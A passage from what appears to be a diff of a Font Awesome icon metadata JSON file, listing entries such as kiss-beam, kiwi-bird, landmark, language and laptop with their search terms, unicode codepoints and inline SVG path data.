42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm24-156c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + }, + "regular": { + "last_modified": 1628088634881, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm136 132c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm136 132c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "kiss-beam": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "beso", + "emoticon", + "face", + "love", + "smooch" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f597", + "label": "Kissing Face With Smiling Eyes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635562, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-39 219.9l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5zM304 396c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm65-168.1l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-39 219.9l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5zM304 396c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm65-168.1l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5z" + }, + "regular": { + "last_modified": 1628088634881, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M168 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm56-148c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zm24-156c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M168 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm56-148c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zm24-156c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "kiss-wink-heart": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "beso", + "emoticon", + "face", + "love", + "smooch" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f598", + "label": "Face Blowing a Kiss", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635563, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 504 512\"><path d=\"M501.1 402.5c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zm-177.6-4c-5.6-20.3-2.3-42 9-59.7 29.7-46.3 98.7-45.5 127.8 4.3 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-.3-.7-23.9-84.6-23.9-84.6zM168 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm120 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-5.7-12.3 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.8-3.7-4.6-16.6 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C274.6 368.7 288 383 288 396zm16-179c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S400 181 404 206.2c1.7 11.1-11.3 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 217z\"/></svg>", + "viewBox": [ + "0", + "0", + "504", + "512" + ], + "width": 504, + "height": 512, + "path": "M501.1 402.5c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zm-177.6-4c-5.6-20.3-2.3-42 9-59.7 29.7-46.3 98.7-45.5 127.8 4.3 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-.3-.7-23.9-84.6-23.9-84.6zM168 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm120 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-5.7-12.3 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.8-3.7-4.6-16.6 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C274.6 368.7 288 383 288 396zm16-179c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S400 181 404 206.2c1.7 11.1-11.3 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 217z" + }, + "regular": { + "last_modified": 1628088634881, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 504 512\"><path d=\"M304 308.5c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36 21.7-9.1 35.1-23.4 35.1-36.4zm70.5-83.5l9.5 8.5c3.8 3.3 9.3 4 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 5.8 3.1 11.2.7 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0zM136 208.5c0 17.7 14.3 32 32 32s32-14.3 32-32-14.3-32-32-32-32 14.3-32 32zm365.1 194c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zM334 436.3c-26.1 12.5-55.2 19.7-86 19.7-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200c0 22.1-3.7 43.3-10.4 63.2 9 6.4 17 14.2 22.6 23.9 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-2.5-7.3 4.3 17.2-13.4-46.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "504", + "512" + ], + "width": 504, + "height": 512, + "path": "M304 308.5c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36 21.7-9.1 35.1-23.4 35.1-36.4zm70.5-83.5l9.5 8.5c3.8 3.3 9.3 4 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 5.8 3.1 11.2.7 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0zM136 208.5c0 17.7 14.3 32 32 32s32-14.3 32-32-14.3-32-32-32-32 14.3-32 32zm365.1 194c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zM334 436.3c-26.1 12.5-55.2 19.7-86 19.7-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200c0 22.1-3.7 43.3-10.4 63.2 9 6.4 17 14.2 22.6 23.9 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-2.5-7.3 4.3 17.2-13.4-46.8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "kiwi-bird": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "bird", + "fauna", + "new zealand" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f535", + "label": "Kiwi Bird", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635563, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.81 217.98C572.64 157.41 518.28 112 457.63 112h-9.37c-52.82 0-104.25-16.25-147.74-46.24-41.99-28.96-96.04-41.62-153.21-28.7C129.3 41.12-.08 78.24 0 224c.04 70.95 38.68 132.8 95.99 166.01V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-54.26c15.36 3.96 31.4 6.26 48 6.26 5.44 0 10.68-.73 16-1.18V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-59.43c14.24-5.06 27.88-11.39 40.34-19.51C342.07 355.25 393.86 336 448.46 336c25.48 0 16.01-.31 23.05-.78l74.41 136.44c2.86 5.23 8.3 8.34 14.05 8.34 1.31 0 2.64-.16 3.95-.5 7.09-1.8 12.05-8.19 12.05-15.5 0 0 .14-240.24-.16-246.02zM463.97 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm80 153.25l-39.86-73.08c15.12-5.83 28.73-14.6 39.86-25.98v99.06z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M575.81 217.98C572.64 157.41 518.28 112 457.63 112h-9.37c-52.82 0-104.25-16.25-147.74-46.24-41.99-28.96-96.04-41.62-153.21-28.7C129.3 41.12-.08 78.24 0 224c.04 70.95 38.68 132.8 95.99 166.01V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-54.26c15.36 3.96 31.4 6.26 48 6.26 5.44 0 10.68-.73 16-1.18V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-59.43c14.24-5.06 27.88-11.39 40.34-19.51C342.07 355.25 393.86 336 448.46 336c25.48 0 16.01-.31 23.05-.78l74.41 136.44c2.86 5.23 8.3 8.34 14.05 8.34 1.31 0 2.64-.16 3.95-.5 7.09-1.8 12.05-8.19 12.05-15.5 0 0 .14-240.24-.16-246.02zM463.97 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm80 153.25l-39.86-73.08c15.12-5.83 28.73-14.6 39.86-25.98v99.06z" + } + }, + "free": [ + "solid" + ] + }, + "korvue": { + "changes": [ + "5.0.2" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f42f", + "label": "KORVUE", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861002, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 446 512\"><path d=\"M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "446", + "512" + ], + "width": 446, + "height": 512, + "path": "M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z" + } + }, + "free": [ + "brands" + ] + }, + "landmark": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "historic", + "memorable", + "monument", + "politics" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f66f", + "label": "Landmark", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635565, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M501.62 92.11L267.24 2.04a31.958 31.958 0 0 0-22.47 0L10.38 92.11A16.001 16.001 0 0 0 0 107.09V144c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-36.91c0-6.67-4.14-12.64-10.38-14.98zM64 192v160H48c-8.84 0-16 7.16-16 16v48h448v-48c0-8.84-7.16-16-16-16h-16V192h-64v160h-96V192h-64v160h-96V192H64zm432 256H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M501.62 92.11L267.24 2.04a31.958 31.958 0 0 0-22.47 0L10.38 92.11A16.001 16.001 0 0 0 0 107.09V144c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-36.91c0-6.67-4.14-12.64-10.38-14.98zM64 192v160H48c-8.84 0-16 7.16-16 16v48h448v-48c0-8.84-7.16-16-16-16h-16V192h-64v160h-96V192h-64v160h-96V192H64zm432 256H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "language": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "dialect", + "idiom", + "localize", + "speech", + "translate", + "vernacular" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1ab", + "label": "Language", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635566, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M152.1 236.2c-3.5-12.1-7.8-33.2-7.8-33.2h-.5s-4.3 21.1-7.8 33.2l-11.1 37.5H163zM616 96H336v320h280c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm-24 120c0 6.6-5.4 12-12 12h-11.4c-6.9 23.6-21.7 47.4-42.7 69.9 8.4 6.4 17.1 12.5 26.1 18 5.5 3.4 7.3 10.5 4.1 16.2l-7.9 13.9c-3.4 5.9-10.9 7.8-16.7 4.3-12.6-7.8-24.5-16.1-35.4-24.9-10.9 8.7-22.7 17.1-35.4 24.9-5.8 3.5-13.3 1.6-16.7-4.3l-7.9-13.9c-3.2-5.6-1.4-12.8 4.2-16.2 9.3-5.7 18-11.7 26.1-18-7.9-8.4-14.9-17-21-25.7-4-5.7-2.2-13.6 3.7-17.1l6.5-3.9 7.3-4.3c5.4-3.2 12.4-1.7 16 3.4 5 7 10.8 14 17.4 20.9 13.5-14.2 23.8-28.9 30-43.2H412c-6.6 0-12-5.4-12-12v-16c0-6.6 5.4-12 12-12h64v-16c0-6.6 5.4-12 12-12h16c6.6 0 12 5.4 12 12v16h64c6.6 0 12 5.4 12 12zM0 120v272c0 13.3 10.7 24 24 24h280V96H24c-13.3 0-24 10.7-24 24zm58.9 216.1L116.4 167c1.7-4.9 6.2-8.1 11.4-8.1h32.5c5.1 0 9.7 3.3 11.4 8.1l57.5 169.1c2.6 7.8-3.1 15.9-11.4 15.9h-22.9a12 12 0 0 1-11.5-8.6l-9.4-31.9h-60.2l-9.1 31.8c-1.5 5.1-6.2 8.7-11.5 8.7H70.3c-8.2 0-14-8.1-11.4-15.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M152.1 236.2c-3.5-12.1-7.8-33.2-7.8-33.2h-.5s-4.3 21.1-7.8 33.2l-11.1 37.5H163zM616 96H336v320h280c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm-24 120c0 6.6-5.4 12-12 12h-11.4c-6.9 23.6-21.7 47.4-42.7 69.9 8.4 6.4 17.1 12.5 26.1 18 5.5 3.4 7.3 10.5 4.1 16.2l-7.9 13.9c-3.4 5.9-10.9 7.8-16.7 4.3-12.6-7.8-24.5-16.1-35.4-24.9-10.9 8.7-22.7 17.1-35.4 24.9-5.8 3.5-13.3 1.6-16.7-4.3l-7.9-13.9c-3.2-5.6-1.4-12.8 4.2-16.2 9.3-5.7 18-11.7 26.1-18-7.9-8.4-14.9-17-21-25.7-4-5.7-2.2-13.6 3.7-17.1l6.5-3.9 7.3-4.3c5.4-3.2 12.4-1.7 16 3.4 5 7 10.8 14 17.4 20.9 13.5-14.2 23.8-28.9 30-43.2H412c-6.6 0-12-5.4-12-12v-16c0-6.6 5.4-12 12-12h64v-16c0-6.6 5.4-12 12-12h16c6.6 0 12 5.4 12 12v16h64c6.6 0 12 5.4 12 12zM0 120v272c0 13.3 10.7 24 24 24h280V96H24c-13.3 0-24 10.7-24 24zm58.9 216.1L116.4 167c1.7-4.9 6.2-8.1 11.4-8.1h32.5c5.1 0 9.7 3.3 11.4 8.1l57.5 169.1c2.6 7.8-3.1 15.9-11.4 15.9h-22.9a12 12 0 0 1-11.5-8.6l-9.4-31.9h-60.2l-9.1 31.8c-1.5 5.1-6.2 8.7-11.5 8.7H70.3c-8.2 0-14-8.1-11.4-15.9z" + } + }, + "free": [ + "solid" + ] + }, + "laptop": { + "changes": [ + "3", + "5.0.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "computer", + "cpu", + "dell", + "demo", + "device", + "mac", + "macbook", + "machine", + "pc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f109", + "label": "Laptop", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635567, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z" + } + }, + "free": [ + "solid" + ] + }, + "laptop-code": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "computer", + "cpu", + "dell", + "demo", + "develop", + "device", + "mac", + "macbook", + "machine", + "pc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5fc", + "label": "Laptop Code", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635566, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M255.03 261.65c6.25 6.25 16.38 6.25 22.63 0l11.31-11.31c6.25-6.25 6.25-16.38 0-22.63L253.25 192l35.71-35.72c6.25-6.25 6.25-16.38 0-22.63l-11.31-11.31c-6.25-6.25-16.38-6.25-22.63 0l-58.34 58.34c-6.25 6.25-6.25 16.38 0 22.63l58.35 58.34zm96.01-11.3l11.31 11.31c6.25 6.25 16.38 6.25 22.63 0l58.34-58.34c6.25-6.25 6.25-16.38 0-22.63l-58.34-58.34c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63L386.75 192l-35.71 35.72c-6.25 6.25-6.25 16.38 0 22.63zM624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M255.03 261.65c6.25 6.25 16.38 6.25 22.63 0l11.31-11.31c6.25-6.25 6.25-16.38 0-22.63L253.25 192l35.71-35.72c6.25-6.25 6.25-16.38 0-22.63l-11.31-11.31c-6.25-6.25-16.38-6.25-22.63 0l-58.34 58.34c-6.25 6.25-6.25 16.38 0 22.63l58.35 58.34zm96.01-11.3l11.31 11.31c6.25 6.25 16.38 6.25 22.63 0l58.34-58.34c6.25-6.25 6.25-16.38 0-22.63l-58.34-58.34c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63L386.75 192l-35.71 35.72c-6.25 6.25-6.25 16.38 0 22.63zM624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z" + } + }, + "free": [ + "solid" + ] + }, + "laptop-house": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "computer", + "covid-19", + "device", + "office", + "remote", + "work from home" + ] + }, + 